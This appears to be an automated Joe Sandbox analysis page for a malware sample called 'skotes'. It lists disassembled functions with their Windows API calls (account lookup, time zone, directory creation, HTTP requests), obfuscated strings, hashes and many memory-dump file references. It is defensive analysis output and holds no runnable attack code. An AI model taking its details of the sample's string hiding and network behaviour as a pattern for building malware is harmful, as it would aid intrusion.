Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: 87e56761f075fac83b966e28f90138a699f2485dfa0139ccefc6b8b9008056c0
Instruction ID: 41a9c0566105fdeeef96e4c9b3526d5392ed28b0c9f7c23d3fef870e59b86f04
Opcode Fuzzy Hash: 87e56761f075fac83b966e28f90138a699f2485dfa0139ccefc6b8b9008056c0
Instruction Fuzzy Hash: 9A82E470904288DBEF18EF68C9597DE7FB5EB46304F508688E805673C2D7795A88CBD2

Function 007A65E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 007A6680

Strings

GSTmfV==, xrefs: 007A6728
RySfdMLx, xrefs: 007A669C
ISNmfV==, xrefs: 007A67D1

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: b9feaf3037fdd9a2196c3b8063d736918825caad257c24a4a3cc2dc6f6b08382
Instruction ID: 64453110c073d0d82783b048c28ae6c563ce9e97219371f2fe1e67ec3dc54049
Opcode Fuzzy Hash: b9feaf3037fdd9a2196c3b8063d736918825caad257c24a4a3cc2dc6f6b08382
Instruction Fuzzy Hash: 0C91D6B19001189BDB28DB64CC89BDDB779EB85304F4446EDE51997282EB389FC4CF64

Function 007E2517 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,007F6758), ref: 007E275C

Strings

Eastern Standard Time, xrefs: 007E27CB
Eastern Summer Time, xrefs: 007E27FA

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: e422e0eaea1f732d22fec07c9c74ba5f0b17136a0b61c160a0426b16518171b9
Instruction ID: c3e3c2eaeb9d1d5dbcdbc749e784a1d58e2447e15ec3cfd99517bc76ec7547ae
Opcode Fuzzy Hash: e422e0eaea1f732d22fec07c9c74ba5f0b17136a0b61c160a0426b16518171b9
Instruction Fuzzy Hash: 1FC13871A02289EFDB149F2A8C45AAA7BBDEF4D314F24019AE541D7253EB399E03C750

Function 007AEB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007AEB51
CreateDirectoryA.KERNEL32(00000000), ref: 007AEC83
GetFileAttributesA.KERNEL32(00000000), ref: 007AED98

Strings

invalid stoi argument, xrefs: 007B08B0
111, xrefs: 007AF7A0
9c9aa5, xrefs: 007AFB8E
UA==, xrefs: 007AEC41, 007AED56, 007AEF89, 007AF2CE
FisgLnsCZO1i, xrefs: 007AFF19
246122658369, xrefs: 007AF737, 007AFA14, 007AFE00, 007B05E7
stoi argument out of range, xrefs: 007B08C4
WDw=, xrefs: 007AF71D, 007AF9FA, 007AFDE3
WTs=, xrefs: 007B05CA
FCQgKF==, xrefs: 007AFEE4
mxo1L0x, xrefs: 007AEE84
#, xrefs: 007B0624
GiQaT29tduF=, xrefs: 007AFEB6

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: 5104b5abda7e5b6839796abcbe233622078bbeccb136dc54d7d6b8d338fdd7c6
Instruction ID: 345577158d8781496f3428b600150bce567f8d0972946a9a57d310756477c08c
Opcode Fuzzy Hash: 5104b5abda7e5b6839796abcbe233622078bbeccb136dc54d7d6b8d338fdd7c6
Instruction Fuzzy Hash: 32F21B71A00144DBEB18DB78CD8D7DD7B72AF86304F148298E449A73D6EB3D9A84CB91

Function 007ABE30 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,3FA4AC3E,?,00000000), ref: 007ABEB8
InternetOpenW.WININET(007F8DC8,00000000,00000000,00000000,00000000), ref: 007ABEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 007ABEEC
HttpOpenRequestA.WININET(?,00000000), ref: 007ABF35
HttpSendRequestA.WININET(?,00000000), ref: 007ABFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 007AC0A8
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 007AC160
InternetCloseHandle.WININET(?), ref: 007AC187
InternetCloseHandle.WININET(?), ref: 007AC18F
InternetCloseHandle.WININET(?), ref: 007AC197

Strings

invalid stoi argument, xrefs: 007AE4F4
8HJUeMD Lq5=, xrefs: 007AC465
8HJUeIfzLo==, xrefs: 007AC3CB, 007AC623
stoi argument out of range, xrefs: 007AE4EA
RE1NXF==, xrefs: 007ABF0E

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-885246636
Opcode ID: 28996c072dc272b79b997cf1345f0d6f48666e0029e64896366f842503f5f918
Instruction ID: b3457c5b0a1ebea5bc6fbdc9fb4bb3b180f1604c0107c4b7e310c39ad35a1d3b
Opcode Fuzzy Hash: 28996c072dc272b79b997cf1345f0d6f48666e0029e64896366f842503f5f918
Instruction Fuzzy Hash: 62B1C4B1600118ABDB25CF28CC89BDD7B75EF86304F504299F509972D2DB799AC0CB95

